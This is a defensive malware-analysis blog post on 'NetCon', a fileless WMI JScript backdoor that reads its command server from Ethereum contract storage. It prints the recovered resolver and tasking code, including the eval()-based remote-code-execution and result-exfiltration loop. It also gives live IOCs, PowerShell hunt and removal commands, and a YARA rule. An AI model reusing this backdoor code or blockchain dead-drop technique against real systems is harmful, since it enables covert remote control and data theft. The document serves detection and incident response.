Post

No File, No Fixed C2: Inside NetCon, a WMI Backdoor That Reads Its Command Server Off the Blockchain

A JScript backdoor persists as a WMI ActiveScriptEventConsumer with no file on disk, resolving its C2 address by reading Ethereum smart-contract storage.

No File, No Fixed C2: Inside NetCon, a WMI Backdoor That Reads Its Command Server Off the Blockchain

The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.

TL;DR

A backdoor calling itself “NetCon” persists as a WMI ActiveScriptEventConsumer - no file on disk, no scheduled task, nothing for AV to hash. When it fires, it resolves its command-and-control address by reading storage slot 0 of an Ethereum smart contract (EtherHiding), then polls a hex-encoded, RC4-keyed-by-its-own-UUID tasking channel and eval()s whatever comes back. Reading the operator’s wallet on-chain exposed a 13-month, 8-domain C2 rotation history, including one contract hijacked by an anti-EtherHiding “vigilante” bot. Current resolved C2: letsmefindyoudream[.]com (45.32.162[.]181).

If this is your fleet, do these first:

  • Run Get-CimInstance -Namespace root\subscription -ClassName ActiveScriptEventConsumer fleet-wide and read every ScriptText by hand - commands below.
  • Ingest Sysmon Event IDs 19, 20, 21 (WMI filter/consumer/binding activity) or Microsoft-Windows-WMI-Activity/Operational Event ID 5861 if you aren’t already.
  • Alert on any eth_getStorageAt/eth_call JSON-RPC POST to a public blockchain RPC provider from a non-browser process - near-zero false positives.

Full IOCs and detection rules are at the bottom.

We keep finding these, and I don’t think that’s a coincidence

I’ve reviewed a run of intrusions lately where the persistence mechanism wasn’t a scheduled task, wasn’t a run key, wasn’t a shortcut in the Startup folder. It was a WMI event subscription - three small objects sitting in the WMI repository, doing exactly what a scheduled task does, without anything most triage checklists actually look at. If your standard “check Autoruns and scheduled tasks” pass doesn’t include root\subscription, you’ve got a blind spot, and this post is the argument for closing it.

The sample I want to walk through is a JScript backdoor calling itself “NetCon.” The code isn’t sophisticated - plaintext, unobfuscated, with a logic bug in its retry handling that makes it less resilient than it was clearly meant to be. What earns it a full post is the combination: a persistence mechanism most defenders aren’t hunting for, wired to a C2 channel that isn’t hosted anywhere you can take down, because the address lives on a public blockchain.

So this covers both halves: what WMI event consumers are, the code and how it resolves C2 and runs tasking, the 13-month infrastructure history behind it, and how to hunt it down and pull it out cleanly.

Defender quick reference

FieldDetails
Activity typeFileless persistence (WMI script consumer) + blockchain-resolved C2 + interactive RCE
Primary artifactsWMI consumer NetCon (ActiveScriptEventConsumer, root\subscription), bot UUID 15aee2fa-27bc-4322-942c-144f35dc7bda, hxxps://letsmefindyoudream[.]com
VerdictMalicious
ConfidenceHigh - the script is plaintext and every capability claim traces to complete, unambiguous code; the C2 resolution chain was independently re-verified live during analysis
Key logsSysmon 19/20/21, WMI-Activity/Operational 5861, proxy/DNS, process creation (4688)
ATT&CKT1546.003, T1059.007, T1036.005, T1102.001, T1573.001, T1140, T1041
First defender actionsEnumerate root\subscription fleet-wide; capture ScriptText, filter query, and binding details before deleting anything; block the resolved C2 IP/domain (see caveat below)
Detection opportunitiesSysmon 19/20/21; WMI-Activity 5861; YARA on ScriptText/MOF exports (below); any eth_getStorageAt/eth_call from a non-browser process
False-positive notesLegitimate ActiveScriptEventConsumer usage is rare outside specific management/monitoring tooling - anything unattributed in root\subscription is worth investigating

The attack at a glance

  1. Persistence setup - three permanent WMI objects get registered: an __EventFilter (trigger), an __EventConsumer (payload), and a __FilterToConsumerBinding (the wire between them). Here the consumer is an ActiveScriptEventConsumer named “NetCon” running JScript.
  2. Trigger - whatever the filter’s WQL query watches for fires (logon, timer, process start - not recovered in this record).
  3. Execution - WMI hands the ScriptText straight to the scripting engine, in-process, under scrcons.exe. No new process, no file on disk.
  4. C2 resolution (EtherHiding) - the script reads storage slot 0 of an Ethereum smart contract via a public JSON-RPC call and decodes the current C2 hostname.
  5. Tasking loop - it POSTs its bot UUID to the resolved host, RC4-decrypts the hex-encoded response using that same UUID as the key, and eval()s the result.
  6. Exfiltration - whatever eval() returns (or throws) is POSTed back to the C2, and the loop repeats with no local sleep.

An interactive remote-code-execution channel, surviving reboots, that never touches disk and has no fixed address to block.

How it works

The filter / consumer / binding triad

WMI event subscriptions are built from three permanent objects, all stored in the WMI repository - not the filesystem, not the registry in the way you’d normally think about persistence:

  • __EventFilter - a WQL query describing the trigger condition: “notify me when explorer.exe starts” or “notify me every 300 seconds.”
  • __EventConsumer - what happens when the filter fires. This is an abstract base class; the concrete subclass in play matters a lot.
  • __FilterToConsumerBinding - wires a filter to a consumer. Without it, a filter and consumer can both exist and do precisely nothing.

All three need to exist together for the subscription to be live - “no orphaned bindings” is a clean, checkable invariant, and I’ll come back to it in the hunting section.

Script consumers vs. command-line consumers

Two __EventConsumer subclasses matter for offensive use.

CommandLineEventConsumer spawns an external process - a binary, a batch file, a PowerShell one-liner - exactly like a scheduled task would. Flexible, but it leaves the artefacts you already hunt for: process creation (Sysmon 1 / Event ID 4688), an inspectable command line, usually a file on disk.

ActiveScriptEventConsumer is the one to worry about. It hands a block of VBScript or JScript directly to the Windows Script Host engine, running inside scrcons.exe, with no separate process creation for the payload and no script file written to disk. The entire logic lives as a string property (ScriptText) inside the WMI repository. Nothing to hash, nothing to sandbox, nothing for a file-integrity monitor to flag.

NetCon is exactly this: an ActiveScriptEventConsumer named “NetCon”, script_engine: JScript, no backing binary. The recovered record’s file_info shows "error": "empty command" with no create/modify timestamps, because there was never a file to timestamp. This is the same family of trick as living-off-the-land binary abuse more broadly - scrcons.exe/WmiPrvSE.exe are trusted, signed Windows components, and laundering execution through them is exactly why LOLBin-style parent-process patterns deserve scrutiny even when nothing looks wrong on the surface.

The C2 resolution: EtherHiding

Here’s the load-bearing trick. NetCon doesn’t hardcode a C2 hostname anywhere - it reads one out of Ethereum smart-contract storage at runtime, via a plain, legitimate JSON-RPC call:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function f()
{
    var b = '{"jsonrpc": "2.0", "method": "eth_getStorageAt", "id": 1, ' +
            '"params": ["0xDB856D538374Bc1d9D8e8a2f3db0519B7d4677AD", "0", "latest"]}';
    xhr.open("POST", "hxxps://ethereum[.]publicnode[.]com", false);
    xhr.send(b);

    // Response: {"result":"0x<64 hex chars, null-padded ASCII string>"}
    var o = xhr.responseText.substring(xhr.responseText.indexOf("0x"));
    var r = "";
    for (var i = 2; i < o.length; i += 2) {
        var chr = String.fromCharCode(parseInt(o.substring(i, i + 2), 16));
        if (chr == 0) break;         // Solidity short-string is null-padded
        r += chr;
    }
    return r;   // -> C2 hostname
}

eth_getStorageAt is an ordinary, read-only call against a public RPC provider - the kind any wallet or dApp makes constantly. There’s nothing to flag as malicious traffic on its own; the anomaly is who’s making the call. I replicated this exact request during analysis and it resolved to letsmefindyoudream[.]com - live infrastructure, current as of this writing.

This is EtherHiding: storing a C2 address inside blockchain storage instead of DNS. Because the resolver is a read against decentralised, effectively unstoppable infrastructure, the operator only has to update one on-chain value to repoint every deployed implant at once - blocking the resolved domain or IP does nothing to the resolution mechanism itself.

The tasking loop, RC4, and a self-defeating retry bug

Once it has a C2 address, NetCon polls it, decrypts whatever comes back, and runs it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var uuid = "15aee2fa-27bc-4322-942c-144f35dc7bda";

function p(ip) {
    try {
        xhr.open("POST", "hxxps://" + ip + "/signin?e=1", false);
        xhr.send(uuid);                           // bot ID sent in the clear
    } catch (e) { return fails-- > 0; }

    var o1 = xhr.responseText;                     // hex-encoded RC4 ciphertext
    var c1 = xhr.getResponseHeader("X-Callback-Id");
    var res = [];
    for (var i = 0; i < o1.length; i += 2) res.push(parseInt(o1.substring(i, i + 2), 16));

    var dec = r(uuid, res);                        // RC4-decrypt, key = the SAME uuid
    var out = "", err = "";
    try { out = eval(dec); }                        // arbitrary remote code execution
    catch (e) { err = e.message; }

    if (c1) {
        xhr.open("POST", "hxxps://" + ip + "/clb?uuid=" + uuid + "&cid=" + c1 + "&err=" + (!!err), false);
        xhr.send(err ? err : out);                   // exfil result or error message
    }
    return false;
}

var ip = f();
while (true) { if (p(ip)) break; }

The bot’s UUID does double duty: sent in the clear as the check-in identifier and reused as the RC4 decryption key for the tasking response. Genuinely useful for a defender - capture one plaintext check-in over the wire and you have everything needed to decrypt that implant’s tasking traffic, no key recovery required.

One quirk worth a dry laugh: the error handler is catch(e){return fails-- > 0;}. fails starts at 5, and the postfix operator evaluates before decrementing - so on the very first network exception, 5 > 0 is true, and the outer while loop breaks immediately. The variable name suggests “retry up to 5 times before giving up.” What it actually does is give up on the first hiccup - this implant is less resilient to a flaky network than whoever wrote it clearly intended.

13 months, two contracts, one vigilante hijack

Reading the malware’s own logic told me how it resolves C2. Pivoting to the contract’s full on-chain history - every write to that storage slot is a public, permanent transaction - told me the entire rotation history, no passive-DNS subscription or threat-intel platform needed:

Date (UTC)ContractValue writtenNotes
2025-05-26V1throwfree[.]comFirst live C2 domain. No access control - setData(string) callable by anyone.
2025-05-31 - 2025-06-02V1127.0.0.1 x 3, from 3 unrelated walletsHijacked. Three dust-funded, single-purpose wallets independently reset the open contract - the signature of a bot that scans for this dead-drop pattern and neutralises it.
2025-06-01V2 deployed-Access control added (onlyCreator) ~16 hours after the first hijack - the operator reacting in real time.
2025-06-01V2throwfree[.]comMigrated to the protected contract.
2025-08-23V2mydreamcomesoon[.]com 
2025-09-16V2newmydreamcome[.]com 
2025-11-29V2nvpsuprotyudream[.]comRegistered 2025-09-23, banked ~2 months before use.
2026-01-02V2666dream666toyou666[.]com 
2026-02-05V2666super666crazy666[.]comRegistered 10 seconds apart from the previous domain.
2026-03-09V2sjjthjthiter[.]com 
2026-06-06V2letsmefindyoudream[.]comCurrently live.

Someone else, independent of this investigation, is actively hunting for and poisoning EtherHiding dead drops on-chain. It didn’t stop the operator - it cost them 16 hours and forced an access-control fix - but it’s proof this cat-and-mouse game is already playing out in public, on a ledger anyone can read. The hosting pattern points to the same operator throughout: four of five still-resolvable IPs sit on Vultr, and four of the eight domains share a Cloudflare nameserver pair.

On attribution: EtherHiding as a technique has been publicly attributed by Google’s Threat Intelligence Group to the North Korea-linked UNC5342, active since early 2025 as part of a fake-recruiter campaign. That reporting describes a dead drop read from transaction calldata to a burn address - a different mechanism to the direct, owner-gated storage-slot read used here. The “dream”-themed domain naming is suggestive of that cluster’s job-lure theming, but that’s circumstantial on its own. I’m not attributing this campaign to UNC5342 or any named actor - the on-chain mechanics don’t match closely enough to justify it. What I can say confidently is that EtherHiding as a technique is now being reused by more than one operator: I wrote about a completely different EtherHiding campaign on a Polygon contract with a different resolution mechanism just two days before this one landed on my desk, and the two aren’t related beyond sharing the same trick.

The full chain, end to end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
   Attacker / prior access
          |
          |  registers three WMI objects (root\subscription)
          v
   +--------------------+        +------------------------------+
   |   __EventFilter     | -----> |  __FilterToConsumerBinding    |
   |   WQL trigger query |        |  wires filter -> consumer     |
   +--------------------+        +---------------+----------------+
                                                  |
                                                  v
                                    +------------------------------+
                                    |   __EventConsumer              |
                                    |   ActiveScriptEventConsumer    |
                                    |   ScriptText: JScript "NetCon" |
                                    +---------------+----------------+
                                                  |
                  condition matches (logon / timer / process start - unconfirmed)
                                                  |
                                                  v
                                     WMI hands ScriptText to
                                       scrcons.exe (in-process)
                                                  |
                                                  v
                              Script runs. No file on disk. No new
                                  process for the payload itself.
                                                  |
                                                  v
                        +---------------------------------------------+
                        |   EtherHiding: eth_getStorageAt against       |
                        |   Ethereum contract via public RPC provider   |
                        |   -> decode null-padded ASCII -> C2 hostname  |
                        +---------------------------+-------------------+
                                                      |
                                                      v
                          POST bot UUID -> /signin  (tasking poll)
                          hex-decode -> RC4-decrypt (key = UUID)
                          eval() the decrypted JScript
                                                      |
                                                      v
                          POST result/error -> /clb  (exfil)
                                                      |
                                                      v
                                  loop, no local sleep, repeat

Every box except the last three is a permanent WMI object, not an ephemeral event - once registered, the filter/consumer/binding trio survives reboots indefinitely, same as a scheduled task, just stored somewhere fewer people check.

Techniques observed (MITRE ATT&CK)

The following techniques have been mapped to MITRE ATT&CK for future reference.

TacticTechniqueATT&CK IDWhat it did here
PersistenceEvent Triggered Execution: WMI Event SubscriptionT1546.003The __EventFilter/__EventConsumer/__FilterToConsumerBinding triad, consumer named “NetCon”
ExecutionCommand and Scripting Interpreter: JavaScriptT1059.007ActiveScriptEventConsumer running JScript via scrcons.exe; decrypted tasking executed via eval()
Defense EvasionMasqueradingT1036.005Consumer named “NetCon” - innocuous, network-adjacent naming
Command and ControlWeb ServiceT1102.001C2 hostname resolved via eth_getStorageAt against an Ethereum contract, using a legitimate public RPC provider as the dead-drop channel
Command and ControlEncrypted Channel: Symmetric CryptographyT1573.001RC4, key = the bot’s own UUID, sent in the clear in the same request
Defense EvasionDeobfuscate/Decode Files or InformationT1140Hex-decode -> RC4-decrypt -> eval on the tasking response
ExfiltrationExfiltration Over C2 ChannelT1041POST of eval() output/error to /clb

Why this matters

Strip away the blockchain novelty and this is a straightforward, durable, interactive-RCE foothold: an attacker with prior access registers three WMI objects, then pushes arbitrary JScript to the host on every trigger firing, reads the output, and leaves nothing behind for AV or a sandbox to chew on. Pair a persistence mechanism most “check Autoruns and scheduled tasks” playbooks don’t reach with a C2 channel that survives conventional domain and IP takedowns, and you have a foothold that sits quietly for a long time and resumes full control on every logon or timer tick.

I’m not going to speculate further about who’s behind this. The tradecraft - plaintext script, a retry-logic bug, no anti-analysis beyond the obfuscation of being fileless - doesn’t read as top-tier. But “not top-tier” and “effective against an environment that isn’t hunting WMI” aren’t mutually exclusive, and that gap is really the point of this post.

What defenders can do

Technique (ATT&CK)What to doEssential EightWhat to hunt for
WMI Event Subscription (T1546.003)Enumerate and baseline every __EventFilter/__EventConsumer/__FilterToConsumerBinding; remove anything unattributedRestrict Administrative PrivilegesSysmon Event IDs 19, 20, 21; WMI-Activity/Operational Event ID 5861
Script consumer execution (T1059.007)Disable Windows Script Host fleet-wide if VBScript/JScript isn’t a business need; else application-control what scrcons.exe/WmiPrvSE.exe are allowed to runApplication Control; User Application HardeningAny scrcons.exe/WmiPrvSE.exe process with outbound network activity
Masquerading (T1036.005)Don’t trust a consumer’s name - audit ScriptText/CommandLineTemplate content directlyNo clean Essential Eight homeAny consumer script referencing ActiveXObject, eval, or ExecuteGlobal combined with network I/O
EtherHiding C2 resolution (T1102.001)Block/alert on public blockchain RPC calls (publicnode.com, infura.io, alchemy.com, ankr.com) from non-browser, non-wallet processes at the proxy/DNS layerNo clean Essential Eight homeeth_getStorageAt/eth_call JSON-RPC POST bodies from unexpected processes
Encrypted C2 channel (T1573.001)Log SNI/JA3 on egress; treat periodic, identical-shape synchronous POSTs to a freshly-registered domain as anomalousNo clean Essential Eight homeProxy logs: repeated POST to a domain registered in the last 30-60 days
Exfiltration over C2 (T1041)Default-deny egress where practical; least-privilege on anything the implant could reachRestrict Administrative PrivilegesOutbound POSTs carrying hex/base64-shaped bodies to the tasking check-in host

Creating a permanent WMI subscription requires local admin rights on the target, which is why I’ve put Restrict Administrative Privileges (November 2023) against T1546.003 - the same reasoning the canonical mapping applies to scheduled-task persistence (T1053.005), even though WMI event subscription isn’t separately listed there. The actual removal work is Application Control territory: scrcons.exe hosting a script engine is functionally the same problem as wscript.exe/cscript.exe running unapproved script content, so I’m extending that mapping (and the User Application Hardening angle of disabling WSH outright) to T1059.007 by the same logic - see Implementing Application Control (November 2023) and Hardening Microsoft Windows 11 Workstations (September 2025).

Masquerading and the EtherHiding/encrypted-channel pair genuinely have no clean Essential Eight home - they’re network-architecture and detection-engineering problems, not control gaps the Eight strategies were built to close. For those three, the honest answer is egress monitoring maturity and content-based detection (below) rather than a named E8 strategy. Exfiltration is the one clean canonical pairing in this table - Restrict Administrative Privileges bounds what the implant can reach in the first place.

Enumerate first - you can’t remove what you haven’t found

WMI subscriptions can live in root\subscription (standard) or occasionally root\default on older builds, so check both:

1
2
3
4
5
6
7
# All three object types, both common namespaces
Get-CimInstance -Namespace root\subscription -ClassName __EventFilter
Get-CimInstance -Namespace root\subscription -ClassName __EventConsumer
Get-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding

# Older systems sometimes register into root\default as well
Get-CimInstance -Namespace root\default -ClassName __EventFilter -ErrorAction SilentlyContinue

__EventConsumer is the abstract base - pull the concrete subclasses to actually read the payload:

1
2
3
4
5
6
7
# Script consumers - this is where you'd find something like NetCon
Get-CimInstance -Namespace root\subscription -ClassName ActiveScriptEventConsumer |
    Select-Object Name, ScriptingEngine, ScriptText

# Command-line consumers - the more "traditional" flavour
Get-CimInstance -Namespace root\subscription -ClassName CommandLineEventConsumer |
    Select-Object Name, CommandLineTemplate

Read every ScriptText/CommandLineTemplate value by hand - legitimate ActiveScriptEventConsumer usage is rare enough that this is a realistic haystack in most environments. Then confirm which filters and consumers are actually wired together - an unbound filter or consumer is inert, but a live binding is your persistence:

1
2
Get-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding |
    Select-Object Filter, Consumer

Removing a confirmed-malicious subscription

Remove the binding first, then the consumer, then the filter - order matters, because WMI won’t let a dangling binding reference a deleted object cleanly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. Remove the binding
Get-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding |
    Where-Object { $_.Consumer -like '*NetCon*' } |
    Remove-CimInstance

# 2. Remove the consumer
Get-CimInstance -Namespace root\subscription -ClassName ActiveScriptEventConsumer |
    Where-Object { $_.Name -eq 'NetCon' } |
    Remove-CimInstance

# 3. Remove the filter (match by name from the binding captured in step 1)
Get-CimInstance -Namespace root\subscription -ClassName __EventFilter |
    Where-Object { $_.Name -eq '<filter name captured above>' } |
    Remove-CimInstance

Do this on a host you’re actively remediating, not as a drive-by cleanup step - capture the full ScriptText, filter query, and binding details before deleting anything; that’s your evidence. If you’re not certain an object is malicious versus legitimate management tooling (SCCM, some AV/EDR agents, and various monitoring products all use WMI subscriptions legitimately), verify against a known-good baseline before deleting on a hunch.

One more thing on the C2 side: blocking letsmefindyoudream[.]com/45.32.162[.]181 does not disable the implant - the operator can update the Ethereum contract to point every deployed copy at new infrastructure at any time, as the rotation table above shows they’ve already done eight times. Network blocks buy time; the WMI object removal is what actually ends the persistence.

Hunting and detection summary

  • Sysmon Event ID 19 - WmiEventFilter activity (new __EventFilter registered)
  • Sysmon Event ID 20 - WmiEventConsumer activity (new __EventConsumer registered)
  • Sysmon Event ID 21 - WmiEventConsumerToFilter activity (the binding - this one means “live”)
  • Microsoft-Windows-WMI-Activity/Operational, Event ID 5861 - permanent event consumer registration, native Windows logging with no Sysmon dependency
  • Get-CimInstance sweep of root\subscription (and root\default) across the fleet, diffed against a known-good baseline
  • Any eth_getStorageAt/eth_call JSON-RPC POST to a public blockchain RPC provider from a non-browser, non-wallet process - a strong, near-zero-false-positive signal for EtherHiding-style C2 generally
  • Any WMI-registered script content containing ActiveXObject, eval, or ExecuteGlobal combined with network I/O, regardless of how innocuous the consumer’s name looks

If you’re not currently ingesting Sysmon 19/20/21 or WMI-Activity/Operational into your SIEM, that’s the single highest-leverage change this post can prompt.

The YARA rule, Sigma detections, KQL hunt queries, and full IOC CSV for this campaign are also available in the companion detection repo.

Indicators of Compromise

Blockchain

TypeValueNotes
Operator wallet (creator, all setData calls)0x2344462789f70b81a3d783e0bfcb7ca996a8ce18 
Dead-drop contract V1 (vulnerable, abandoned 2025-06-01)0x352012455737d781bEfe06bFC5825C21C290117CNo access control - publicly hijackable
Dead-drop contract V2 (current, access-controlled)0xDB856D538374Bc1d9D8e8a2f3db0519B7d4677ADonlyCreator gate, storage slot 0 = C2 hostname
RPC provider abusedethereum[.]publicnode[.]comLegitimate public infrastructure, abused as dead-drop channel
JSON-RPC method (protocol fingerprint)eth_getStorageAtDistinctive method+param shape for this dead-drop pattern

Network - domain rotation history (chronological)

DomainStatus
throwfree[.]comDead - NXDOMAIN
mydreamcomesoon[.]comDead infra
newmydreamcome[.]comRegistrar-imposed clientHold
nvpsuprotyudream[.]comDead panel, still serving generic nginx
666dream666toyou666[.]comIP recycled to unrelated tenant
666super666crazy666[.]comDead infra
sjjthjthiter[.]comIP recycled to unrelated tenant
letsmefindyoudream[.]comCurrently live, TLS cert valid to 2026-08-23

Network - IPs

TypeValueNotes
C2 origin IP (current, A record)45.32.162[.]181Vultr
C2 origin IP (current, AAAA record)2001:19f0:9002:912:5400:6ff:fe30:32c1Same Vultr allocation
Historical hosting IP155.138.253[.]99Vultr
Historical hosting IP91.228.152[.]92Fornex - only non-Vultr host in the campaign
Historical hosting IP (recycled)216.128.146[.]149Shared by two rotation-period domains, two months apart
Historical hosting IP155.138.224[.]155Vultr

Network - protocol

TypeValueNotes
C2 URI - tasking check-inPOST /signin?e=1 (body = bot UUID) 
C2 URI - result callbackPOST /clb?uuid=<uuid>&cid=<callback-id>&err=<bool> 
C2 response headerX-Callback-IdCustom protocol header, strong fingerprint for this C2 framework

Host

TypeValueNotes
WMI consumer nameNetCon (ActiveScriptEventConsumer)Namespace root\subscription; no backing file
Script engineJScriptVia scrcons.exe

Code / attribution

TypeValueNotes
Bot ID / RC4 key15aee2fa-27bc-4322-942c-144f35dc7bdaSent in cleartext as the /signin POST body and reused as the RC4 decryption key
SHA256 (script content)59e9efb252e12a8c634b126aa5d49e38b5137e03110b4327974852d3f4872541Hash of the recovered ScriptText
MD5 (script content)b3a047db133eb92626d44842c878d876 

Detection rules

rule WMI_NetCon_EtherHiding_JScript_Backdoor
{
    meta:
        description = "Fileless WMI ActiveScriptEventConsumer JScript backdoor resolving C2 via Ethereum smart-contract storage (EtherHiding), RC4-decrypting tasking, and eval()-executing it"
        date        = "2026-07-10"
        author      = "blueteam.cool"
    strings:
        $consumer_name  = "NetCon" ascii wide
        $eth_method     = "eth_getStorageAt" ascii
        $rpc_endpoint   = "ethereum.publicnode.com" ascii
        $signin_path    = "/signin?e=1" ascii
        $clb_path       = "/clb?uuid=" ascii
        $callback_hdr   = "X-Callback-Id" ascii
        $rc4_ksa        = "for(i=0;i<256;i++)s[i]=i" ascii
        $xhr_obj        = "Msxml2.ServerXMLHTTP.6.0" ascii wide
        $uuid_sample    = "15aee2fa-27bc-4322-942c-144f35dc7bda" ascii
    condition:
        3 of ($eth_method, $rpc_endpoint, $signin_path, $clb_path, $callback_hdr, $rc4_ksa, $xhr_obj)
        or $uuid_sample
}

Additional hunt pivots:

  • Any WMI ActiveScriptEventConsumer with no backing binary/file - enumerate root\subscription on all hosts, not just one.
  • Outbound HTTPS POST to ethereum[.]publicnode[.]com (or any public blockchain RPC endpoint) from scrcons.exe/WmiPrvSE.exe - legitimate WMI hosts have no business calling blockchain RPC providers.
  • Outbound connections to the IPs/domains in the table above.
  • Any eth_call/eth_getStorageAt JSON-RPC body originating from a non-browser, non-crypto-wallet process - a general-purpose EtherHiding detection signal, independent of this specific campaign.

Closing

WMI event subscriptions have been documented tradecraft for the better part of a decade, and EtherHiding has had public reporting for a while too. What struck me putting this together was the gap between “these are both known techniques” and “our tooling actually looks for either of them.” A three-line Get-CimInstance sweep and one proxy rule for public blockchain RPC calls from the wrong processes close a persistence-and-C2 combination a lot of environments are currently blind to.

Go check root\subscription on something. You might be surprised what’s living there.

Stay curious.


On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.

References

This post is licensed under CC BY 4.0 by the author.